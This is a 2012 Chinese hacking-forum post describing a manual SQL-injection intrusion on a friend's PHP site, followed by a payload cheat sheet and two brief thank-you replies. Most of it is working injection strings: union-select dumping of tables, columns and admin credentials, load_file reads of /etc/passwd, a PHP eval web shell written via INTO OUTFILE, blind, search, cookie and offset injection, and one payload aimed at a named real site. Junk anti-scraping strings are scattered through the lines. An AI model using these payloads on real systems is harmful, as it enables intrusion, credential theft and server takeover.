中国网络渗透测试联盟

标题: 手工注入拿下一站 [打印本页]

作者: admin    时间: 2012-9-23 14:47
标题: 手工注入拿下一站
我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~
' W5 Q+ c9 k# `! H6 T让我看看,既然人家开口了,我也不好拒绝,那就看看吧?
' K7 ]9 Z: C" ~- f我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。
2 U4 f/ q& S; R' w1 Y) n如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)3 _- Q! k- a) f& N
1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)% a! Z! w4 n1 Y( s& T
这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:6 r  p7 I- b' {( E: `4 Z% R
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
% L  a1 _/ |- y. z! s3 m- D6 N/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入3 {8 c* K2 w/ n- C1 W
                        
1 s/ D. z4 M3 i+ ?, _2 J4 Q2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,
& M1 Y- `! K* D% J- ]  ?3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3   ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意
6 A3 \: n: q( f  k4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息
) d6 p* g$ P1 N/ P  r2 d5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。% a" a6 \" f8 F% T' U7 \
有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,7 _+ W' h- d" N3 x7 X/ v
2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。
( x  m2 l6 N3 z$ A. X8 ~我就用的是第二个思路,
9 }* a$ K: ?) H; W提交and 1=2 union select 1,2,3,4,table_name,6,7,8  from information_schema.tables where table_schema=database() limit 0,1--  
3 q* @- j' l, V' p0 c$ [( ~6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,3 O1 j& Q4 B6 W) \$ g
提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--
( a; t/ g! D8 I注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。
) k, J9 X1 T5 p3 Q/ U" J1 `- V6 |7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????
0 A; n, Z/ b/ T- P9 @) Q/ R7 y是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....* e) `- z! H  c: |$ B/ h! @
提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --
0 O$ L2 q  [2 z, E1 z9 ~然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,
& _& L% o- W) N. n- h$ i调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......
( B3 o5 a3 X7 G. D下面是一些很普遍注入方式资料:
2 s8 l9 i  Z' }, l3 C/ n注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='
" M: Q% e6 \5 w: }  x拆半法% i3 `+ m5 b; G) @
######################################5 g6 \# M/ h, r. [
and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。
9 i; h9 i8 w  W2 l5 d" Q3 b! kand exists (select * from admin)( G4 q) a1 f+ b- S5 d/ ~: G
and exists(select id from admin)# h- N4 \+ }6 k, c/ Z
and exists(select id from admin where id=1)
$ Y3 B1 z9 M+ D& _3 {) D/ iand exists(select id from admin where id>1)
" z  u! I! g8 Q& Z& T. y# \3 f然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围
  ]5 J) c3 u# e) Q/ V; Aand exists (select username from admin)  R$ B0 C; @* Q& I
and exists (select password from admin)
; m) C1 P/ |8 z1 mand exists (select id from admin where len(username)<10 and id=1)
% E) t) W; c% L/ g0 S- z' land exists (select id from admin where len(username)>5 and id=1)
* K- S& x/ |" H& f1 z* N7 Z0 V; iand exists (select id from admin where len(username)=6 and id=1)2 F* W/ R* q3 L: z
and exists (select id from admin where len(password)<10 and id=1)/ r) F. C1 M, \4 I
and exists (select id from admin where len(password)>5 and id=1)
; Z! ^4 s& U4 b$ H8 k2 m% Uand exists (select id from admin where len(password)=7 and id=1)
9 s  Y" j4 c0 {- f, d  m7 G) [5 T5 Xand (select top 1 asc(mid(username,1,1)) from admin)=97
4 U0 ]8 _% q# }- l" P6 O/ n0 x返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。' o7 F9 l% K& b4 r
猜第二位把username,1,1改成username,2,1就可以了。
9 h: n, Z: O; ~猜密码把username改成password就OK了
) T, ]" Y% A% i- X. s( H5 O##################################################& g/ `/ }7 H8 w" L: z( y4 k
搜索型注入5 q7 e' v4 j* ^$ R: u
##################################* R& K% O# r: o
%' and 1=1 and '%'='/ j5 c1 G$ g8 `3 E# \% M" t
%' and exists (select * from admin) and '%'='
) P; c8 R$ F: v4 f; |%' and exists(select id from admin where id=1) and '%'=': C- ~( `' t5 F
%' and exists (select id from admin where len(username)<10 and id=1) and '%'='
3 d$ W6 e: z/ e+ i/ \0 B; l%' and exists (select id from admin where len(password)=7 and id=1) and '%'='! z* d  T. [3 c% L" ]* U5 w
%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='" \9 l; \5 U  d3 N5 m3 J
这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'=') _: Q+ I& l, L8 f) z4 e! d% {+ f, L3 d
对于MSSQL数据库,后面可以吧 and '%'='换成--1 [5 O: u; W0 l1 i. V
还有一点搜索型注入也可以使用union语句。- V( L- P, F( n! H. x
########################################################
% h, E4 Z1 I+ ?* a+ }+ C2 S联合查询。( |0 ?& S9 ~  J% e: m9 L
#####################################; x/ l2 g. N- `! g" n
order by 10
) G# {9 o( A; pand 1=2 union select 1,2,3,4,5,6,7,8,9,10
; Q4 }( R# J- t4 I; Q3 k; t+ zand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin: n3 Z) }, u+ W5 q* d0 X
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1
  H* v! K4 g. s' S2 [很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)
( o& G. ^$ ^( J###################################& c3 Q. G) b; Q" e( q
cookie注入/ x  `* _: {2 F, A
###############################
# v: O$ q" I+ N) K- n* I/ shttp://www.******.com/shownews.asp?id=1274 ]; Q% t# C- b+ X
http://www.******.com/shownews.asp$ l# \2 g' l# d* Q- z8 P1 }
alert(="id="+escape("127"));
6 Z5 ]. P& A3 K9 H3 Malert(="id="+escape("127 and 1=1"));
1 W8 P6 _( l, @8 F& U8 ualert(="id="+escape("127 order by 10"));
9 N/ w2 d; l% I: valert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));4 }. G: v1 o  [
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));# W5 l) l6 `& D# F# X; F, X% v6 f
这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。( c% L! ^2 g6 o9 P3 n
###################################$ m8 u, Q% j4 L+ Z3 D# [
偏移注入
' {  L/ E- ~1 b" M$ Z( V4 L###########################################################
, Z* D% Z& |$ m$ R+ _3 }union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin, l* `. o. J, p7 B* z3 |8 Y+ ~
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin
' B: }$ x3 G' e% l6 vunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)" \. e6 F% a8 M  m" K
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)
' Q+ R) }$ P% ?( _" {' _. ~4 ounion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
0 w( K' E' @+ x0 _" eunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
" C. k4 \: K( kunion select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on: f3 j+ B$ h/ L* \/ @
a.id=d.id)
( h" {) s$ O! ]and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)
; o' Y; \1 U  ]. iand 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
2 f5 V- h7 e2 y+ j  . S! h! ^7 p( M7 N; z& Z7 d
============================================================================================================
; k, J& D5 |- ~. z4 _1.判断版本* w) `% M- l/ O& n/ p  D4 P( D3 _
and ord(mid(version(),1,1))>51& u! z. |& H7 W8 N
返回正常,说明大于4.0版本,支持ounion查询* `' c+ j8 D. M" L  _( Q1 L/ F
2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解
- g% w; N$ d$ p1 {5 [  z6 K/ l0 mand 2=4 union select 1,2,3,4,5,6,7,8,9--3 \  F2 e; I* y& W5 @  b
3.查看数据库版本及当前用户,2 D6 q1 z" `8 X; X2 @
and 2=4 union select 1,user(),version(),4,5,6,7,8,9--
: W& R; L5 z; G  H- q数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假," X5 d4 e1 w$ ?" f/ N, X
4.判断有没有写权限0 J+ _. C, \1 A; R: i
and (select count(*) from MySQL.user)>0--
* b; o7 M% N' v3 T5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1& A8 z* M# t- b& x- C3 @) n1 z
用不了这个命令,就学习土耳其黑客手法,如下; r+ O+ j1 G) M3 H: k5 X6 S
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--, I/ }, q2 ]  q' `
6.爆表,爆库
8 c& I: a1 h, C2 Aand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--/ E' x7 |! [2 @! [6 m* e' q/ I
7.爆列名,爆表
" V1 V7 l( H0 I. N- N# ]- y8 S( ]and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--
1 ]* A/ m* q, m4 T, K: m8.查询字段数,直接用limit N,1去查询,直接N到报错为止。/ m! z  f$ @" {' M
and+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--
9 Q2 l  ?5 s  \: F9 x( ]9.爆字段内容
2 `7 K+ d6 `) q3 }; x' yand+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--
; V3 T5 h9 g; l5 a/ u. Thttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--
作者: xiancda    时间: 2012-9-24 21:40
非常好的归纳。坐下慢慢看~
作者: wuyu    时间: 2012-9-25 18:53
谢谢分享,学习思路啊




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2